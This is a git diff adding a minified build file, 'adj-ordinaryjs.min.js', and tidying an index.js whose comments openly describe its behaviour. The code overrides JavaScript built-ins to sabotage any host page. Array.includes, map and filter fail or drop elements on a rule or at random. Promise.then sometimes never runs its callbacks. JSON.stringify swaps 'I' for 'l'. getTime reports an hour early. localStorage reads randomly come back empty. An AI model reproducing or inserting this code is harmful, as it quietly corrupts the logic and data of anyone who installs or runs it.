diff --git a/build/adj-ordinaryjs.min.js b/build/adj-ordinaryjs.min.js new file mode 100644 index 0000000..c5cc71e --- /dev/null +++ b/build/adj-ordinaryjs.min.js @@ -0,0 +1 @@ +(o=>{const e=Array.prototype.includes,r=(Array.prototype.includes=function(...t){return this.length%7!=0&&e.call(this,...t)},Array.prototype.map),n=(Array.prototype.map=function(...t){return result=r.call(this,...t),0===(new Date).getDay()&&(result.length=Math.max(result.length-1,0)),result},Array.prototype.filter),l=(Array.prototype.filter=function(...t){return result=n.call(this,...t),Math.random()<.02&&(result.length=Math.max(result.length-1,0)),result},o.setTimeout),a=(o.setTimeout=function(t,e,...r){return l.call(o,t,+e+1e3,...r)},Promise.prototype.then),i=(Promise.prototype.then=function(...t){0===(new Date).getDay()&&Math.random()<.1||a.call(this,...t)},JSON.stringify),u=(JSON.stringify=function(...t){return i(...t).replace(/I/g,"l")},Date.prototype.getTime),p=(Date.prototype.getTime=function(){var t=u.call(this);return t-=36e5},o.localStorage?.getItem);p&&(o.localStorage.getItem=function(...t){let e=p.call(o.localStorage,...t);return e=Math.random()<.05?"":e}),Function.prototype.myCall=function(){let t=[...arguments],e=t.shift()||window;e.p=this;var r=e.p(...t);return delete e.p,r}})(eval("this")); \ No newline at end of file diff --git a/index.js b/index.js index 9e50a64..dc6238e 100644 --- a/index.js +++ b/index.js @@ -10,7 +10,6 @@ */ (global => { - ////// Arrays /** * If the array size is devidable by 7, this function aways fail * @zh 当数组长度可以被7整除时,本方法永远返回false @@ -86,7 +85,7 @@ * @zh Date.getTime() 的结果总是会慢一个小时 */ const _getTime = Date.prototype.getTime; - Date.prototype.getTime = function (...args) { + Date.prototype.getTime = function () { let result = _getTime.call(this); result -= 3600 * 1000; return result; @@ -94,21 +93,21 @@ /** * localStorage.getItem has 5% chance return empty string - * @zh localStorage.getItem 有5%几率返回空字符串 + * @zh localStorage.getItem 有 5% 几率返回空字符串 */ - const _getItem = global.localStorage.getItem; - global.localStorage.getItem = function (...args) { + const _getItem = global.localStorage?.getItem; + if (_getItem) global.localStorage.getItem = function (...args) { let result = _getItem.call(global.localStorage, ...args); if (Math.random() < 0.05) { result = ''; } return result; } - /** + + /** * * @zh 重写多个方法 正常无异 */ - Function.prototype.myCall = function() { let arr = [...arguments]; let obj = arr.shift()||window; @@ -118,4 +117,4 @@ return result; } -})((0, eval('this'))); \ No newline at end of file +})((0, eval('this')));